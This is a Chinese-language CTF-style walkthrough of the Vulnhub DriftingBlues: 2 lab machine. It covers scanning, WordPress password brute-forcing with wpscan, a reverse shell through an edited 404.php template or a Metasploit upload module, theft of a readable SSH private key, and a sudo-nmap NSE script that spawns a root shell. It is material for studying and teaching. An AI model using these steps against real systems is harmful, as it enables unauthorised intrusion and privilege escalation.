Vulnhub靶机\] DriftingBlues: 2靶机渗透思路及方法(个人分享) **靶机下载地址:** [https://download.vulnhub.com/driftingblues/driftingblues2.ova](https://download.vulnhub.com/driftingblues/driftingblues2.ova "https://download.vulnhub.com/driftingblues/driftingblues2.ova") *** ** * ** *** **靶机地址:192.168.67.21** **攻击机地址:192.168.67.3** *** ** * ** *** ## 一、信息收集 1.使用 **arp-scan**命令扫描网段内存活的主机,以获取靶机ip地址 > arp-scan -I 指定网卡 -l  2.使用**nmap**工具扫描靶机开放端口、服务版本以及系统版本,得到开放端口21、22、80及其服务ftp、ssh、http > nmap -sV -O 靶机地址 > > -sV 探测主机服务版本 > > -O 识别主机操作系统  3.访问网站,和查看网页源代码都没有发现有什么有用的信息,通过Wappalyzer插件查看网站信息,发现该网站的CMS是WordPress   4.访问ftp,利用匿名用户登录(用户名为ftp或anonymous,密码为空),查看后发现一个secret.jpg图片,将图片下载到本地进行查看分析,也没有找到什么有用的信息   5.将思路重新放在网站上,使用**dirsearch**工具对网站目录进行扫描,获得/blog和/blog/wp-login.php文件,该文件就是WordPress系统中负责用户登录和认证的文件 > dirsearch -u 靶机URL > > -u 指定目标URL  6.在访问/blog时,点击跳转按钮,多次跳转到driftingblues.box域名下的地址,猜测可能需要使用域名进行访问,更改hosts文件,再次登录/blog/wp-login.php网页,获得登录页面    ## 二、漏洞利用 尝试使用 **wpscan**工具对登录使用的用户名和密码进行爆破,获得用户名/密码(albert/scotland1) > wpscan --url http://driftingblues.box/blog --enumerate u > > --url 目标URL > > --enumerate enumerate参数指定u,枚举站点用户名   > wpscan --url http://driftingblues.box/blog/ -P /usr/share/wordlists/rockyou.txt --usernames albert > > -P 指定密码字典 > > --usernames 指定用户名 > > **/usr/share/wordists/rockyou.txt** 是kali系统自带的密码文件,默认是个压缩包需要自行解压   ## 三、反弹shell 此时有两种反弹shell的方法: 第一种:将php reverse shell的代码写入替换Theme File Editor中的404.php模版,如果可以update file成功,就可以获取目标主机的shell; 第二种:利用Wordpress的漏洞,使用Metasploit工具中的Metasploit中的exploit/unix/webapp/wp_admin_shell_upload模块获取目标主机的Shell ### 第一种反弹shell方法 1.使用刚才爆破获得的用户名/密码登录网站,进入管理系统内,到Theme File Editor页面,选择404.php模版进入网页内  2.在攻击机打开nc监听 > nc -lvp 监听端口号 靶机地址 > > -l 开启监听 > > -v 显示详细输出 > > -p 指定监听端口  3.将php reverse shell的代码写入到404.php模版中,点击Update File按钮 php reverse shell的代码地址:[php-reverse-shell - 菜鸟学院](http://www.noobyard.com/article/p-xwtuqcsv-gc.html "php-reverse-shell - 菜鸟学院")  4.在攻击机中访问靶机网站中一个不存在的页面,成功反弹shell(可惜利用该脚本反弹的shell无法通过python中的pty模块创建交互式shell,大家可以试试其他博主写的脚本 ),且shell权限为www-data > 访问不存在的页面:http://driftingblues.box/blog/index.php/xxx/xxx  ### 第二种反弹shell方法 1.打开 msf,使用命令进入exploit/unix/webapp/wp_admin_shell_upload模块 > msfconsole 打开msf命令(在终端输入) > > use exploit/unix/webapp/wp_admin_shell_upload 进入模块命令  2.查看需要配置的参数,并对模块参数进行配置,并再次查看配置参数进行检查(要检查好确认配置成功) > show options 查看配置参数 > > set 属性名 对参数进行配置   3.配置完成,运行命令获取目标靶机的shell,通过命令打开交互式界面 > run或exploit 执行漏洞模块命令 > > shell -t 打开交互式界面(在meterpreter界面执行) > > run或exploit命令的区别: > > exploit命令用于选择并执行一个特定的漏洞利用模块。当你在Metasploit中找到了一个适合目标系统的漏洞利用模块后,你可以使用exploit命令来执行该模块,尝试利用目标系统上的漏洞。这个命令通常用于实际的攻击过程,以获取对目标系统的访问权限或控制权。 > > run命令则用于执行当前已选定的模块或脚本。在Metasploit中,可以通过一系列的操作来选择并配置一个模块,然后使用run命令来执行该模块。这个命令通常用于执行各种辅助模块、扫描模块、信息收集模块等,并非直接用于实施攻击。 > > shell -t命令的作用是创建一个交互式的本地shell。这个命令允许用户在受感染的系统上执行命令,并与目标系统进行交互。  ## 四、提权 1.在对系统文件进行查看分析之后,我们发现在/home目录下有一个freddie用户的家目录文件,并且发现该目录下存在一个.ssh目录,该目录下存在id_rsa(私钥文件),且该文件有可读权限   2.我们查看id_rsa文件内容,将内容复制到本地,并将文件权限改为只有所属可读可写 > chmod 600 id_rsa 更改id_rsa文件权限为所属可读可写   3.使用私钥进行ssh远程登录,登录到freddie用户  4.习惯性用find命令查找特殊权限文件,进行尝试发现无法利用。但是其中有sudo命令,我们可以使用命令查看当前用户以超级用户(root)权限执行的命令,我们发现了nmap命令 > sudo -l 用于列出当前用户可以以超级用户(root)权限运行的命令 > > 这个命令会检查用户的sudo权限,并显示该用户能够执行的命令列表。通过使用sudo -l,用户可以查看自己被授权使用sudo命令时可以执行的特定命令。  5.利用nmap脚本进行提权,成功提权至root权限 > echo "os.execute('/bin/bash')" \> shell.nse > > sudo nmap --script=shell.nse > > --script 指定要加载的脚本 > > 写一个nmap脚本(nmap脚本必须以nse为后缀),其中写入提权命令,利用nmap会以root权限执行命令的漏洞进行提权 > > 在nmap脚本中,os.execute()函数是用于执行操作系统命令的Lua函数之一。通过使用os.execute()函数,可以在Nmap脚本中执行操作系统命令,并获取其输出。它接受一个字符串参数,该字符串包含要执行的命令。 
相关推荐
2501_915921432 小时前
iOS IPA 混淆实测分析:从逆向视角验证加固效果与防护流程2501_915918412 小时前
打造可观测的 iOS CICD 流程:调试、追踪与质量保障全记录2501_915909066 小时前
调试 WebView 旧资源缓存问题:一次从偶发到复现的实战经历2501_915921438 小时前
请求未达服务端?iOS端HTTPS链路异常的多工具抓包排查记录2501_9160074713 小时前
iOS 接口频繁请求导致流量激增?抓包分析定位与修复全流程2501_9160137414 小时前
用Fiddler中文版抓包工具掌控微服务架构中的接口调试:联合Postman与Charles的高效实践00后程序员张16 小时前
调试 WebView 接口时间戳签名问题:一次精细化排查和修复过程Whoisshutiao17 小时前
Python网安-zip文件暴力破解(仅供学习)柴郡猫^O^17 小时前
OSCP - Proving Grounds - DC - 1浩浩测试一下10 天前
渗透测试指南(CS&&MSF):Windows 与 Linux 系统中的日志与文件痕迹清理